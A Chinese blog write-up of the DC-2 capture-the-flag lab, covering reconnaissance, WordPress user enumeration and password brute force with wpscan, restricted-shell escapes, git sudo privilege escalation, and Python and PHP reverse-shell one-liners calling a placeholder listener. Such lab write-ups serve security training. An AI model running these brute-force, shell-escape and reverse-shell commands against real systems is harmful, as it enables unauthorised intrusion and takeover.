DC2靶机渗透全流程

starme / 2024-10-19 / 原文

DC_2 √ WordPress

依据后面得出:192.168.40.158

1.arp-scan

参考教程:https://blog.csdn.net/a310034188/article/details/121624538

信息搜集:

arp-scan -l

image-20230714204338361

得到DC_2的ip为:192.168.40.158

扫描端口

nmap -A -p1-65535 192.168.40.158
作用应该等同于DC_1的:nmap -A -p- -T4 192.168.40.157 (类似)

image-20230714204717991

可看到80端口-HTTP服务,7744-ssh端口(默认22)

尝试访问:

image-20230817150846673

就像博主一样访问失败

添加文件内容:

192.168.40.158 dc-2

C:/Windows/System32/drivers/etc/HOSTS

该文件是什么?

根据Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。 c:WindowsSystem32driversetchosts 是域名解析文件

注意,应将下图中的192.168.28.149改为192.168.40.158

image-20230714205603441

保存:

image-20230714205840095

右键属性进行处理:

image-20230714210125883

之后再进行修改后,成功保存

经测试,对HOSTS文件属性的处理,没有影响到其他文件

image-20230817151148559

image-20230714210712750

2.cewl

提示:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

即要用cewl

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
cewl http://dc-2 -w passwd.txt

使用ip即cewl http://192.168.40.158 -w passwd.txt可能会失败,ip可能被重定向

得到字典:

image-20230714211252897

接下来寻找账号和登录框

3.dirb

使用dirb来挖目录:

dirb:有点像是dirsearch或御剑

image-20230714211726841

dirb http://dc-2u

image-20230714211933045

image-20230714212128830

4.wappalyzer

看CMS:

image-20230817151230350

发现是WordPress,那就使用wpscan攻击

5.wpscan

wpscan:https://www.freebuf.com/sectool/174663.html

image-20230714212324448

wpscan --url http://dc-2/ -e u 

得到3个用户:admin,jerry,tom

image-20230714212547330

填入到字典中:

image-20230714212721381

使用wpscan爆破账号密码:

wpscan --url http://dc-2 -U admin.txt -P passwd.txt

image-20230714213013277

得到有效的账号密码:

jerry - adipiscing
tom - parturient

登陆成功,但是一片空白:

image-20230817151340733

访问:

image-20230817151423311

image-20230714213416796

image-20230817151506298

回到刚才发现的7744的ssh端口,尝试连接:

ssh tome@192.168.40.158 -p 7744

image-20230714213935830

发现了flag3.txt和-rbash:

-rbash:

image-20230714214202332

查看可用命令:
compgen -c

image-20230714214651329

image-20230714214719072

或者直接用less flag3.txt也行:

image-20230714214849724

涉及到了su,那应该就是提权了

尝试回到上一级:失败

image-20230714215115948

//尝试使用vi提权:尝试失败
vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell
# 把/bin/bash给a变量,绕过rbash
BASH_CMDS[a]=/bin/bash
# 使用并添加环境变量,将/bin作为PATH环境变量导出
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

image-20230714222214270

难搞的是设置BASH_CMDS[a]=/bin/sh;a后无法进行删除操作,只能换行重新输

成功绕过-rbash

然后切换到jerry用户并进入jerry的家目录:

su jerry
cd jerry
ls
cat flag4.txt

image-20230714222509527

提示了git提权

先查看sudo配置文件

sudo -l : 发现git是root权限

image-20230714225123979

证明通过sudo执行git命令时不需要root的密码

sudo git help config

image-20230714225856082

image-20230714231038950

也可以通过那个界面直接切换到root用户

!sudo su

image-20230714231343137

小结:

# dirb使用
dirb http://dc-2  # 扫目录
# wpscan的使用
wpscan --url http://dc-2/ -e u  # 生成可用用户
wpscan --url http://dc-2 -U admin.txt -P passwd.txt
# 绕过-rbash相关命令:
BASH_CMDS[a]=/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry
# git提权相关命令:
sudo -l
sudo git help config
!sudo su
# 其他命令:
ssh tome@192.168.40.158 -p 7744  # ssh远程连接命令
compgen -c # 查看可用的命令

拓展

git提权:

sudo git help config 或sudo git -p help
!<想执行的命令>  # 这里把想执行的命令改为sudo su,su root等切换为root用户的命令即可
# 看其他文章时发现也可以 改为 !/bin/bash或! 'sh'

rbash拓展

这里以centos为例

https://cloud.tencent.com/developer/article/1680551

rbash的受限:

  1. 使用命令cd更改目录
  2. 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
  3. 指定包含参数'/'的文件名
  4. 指定包含参数' - '的文件名
  5. 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'

查看系统所有可用的shell:

cat /etc/shells
# 可见centos中是没有/bin/rbash和/usr/bin/rbash(而在ubuntu中有)

image-20230726215712054

查看默认的shell:echo $SHELL

image-20230726215749134

查看当前使用的shell:输入不存在的命令

image-20230726215940300

创建rbash的用户

由于没有rbash(rbash不能直接实现),所以在开始之前,需要创建软连接:

cd /bin
ln -s bash rbash  # rbash和bash是同个东西,只不过用不同名字启动时,效果不同,据此猜测rbash的全称为restricted bash(受限制的bash)
useradd -s /bin/rbash elapse # 创建用户:指定用/bin/rbash来启动 
su elapse # 切换到这个用户
cd /tmp # 收到报错信息
绕过rbash

共6种方法:

1

编辑器绕过rbash

输入vi,在末行模式中,输入:set shell=/bin/bash

image-20230726222253056

再在末行模式下输入:shell

image-20230726222330220

以DC-2靶机为例:可行

image-20230726224220892

ed编辑器绕过:可行

image-20230726224752924

尝试DC-2靶机:由于没有这个编辑器,所以失败

image-20230726224850799

编程语言绕过

python

python -c 'import os;os.system("/bin/bash");' # 注意不是用python3

image-20230726225243268

尝试DC-2:没有python环境,所以失败

image-20230726225406012

perl:可用

perl -e 'system("/bin/bash");'

image-20230726225637910

同样的,DC-2无perl环境,所以失败

反弹shell

python反弹

# kali:
nc -lvnp 2333
# 靶机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20230726230124426

image-20230726230142023

php反弹:可行

php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

image-20230726233702035

image-20230726233721351

利用二进制文件

more:复现出问题

less:

less 1.txt(任意文件名)->出现末行模式
在末行模式下执行: !'bash'

image-20230726234727583

image-20230726234855911

image-20230726234911648

man

image-20230726235044067

image-20230726235116320

image-20230726235145009

问题来了,是不是只要能够出现末行模式,那就有提权的可能?

expect绕过

yum install expect

# 依次执行:
expect
spawn sh
sh

image-20230727000253504

ssh

# 先设置centos的初始密码12345678
su root
passwd admin
# 在kali上执行:
ssh admin@192.168.40.161 -t "bash --noprofile"

image-20230727001334832

tom - parturient

尝试用DC-2:失败

image-20230727001723079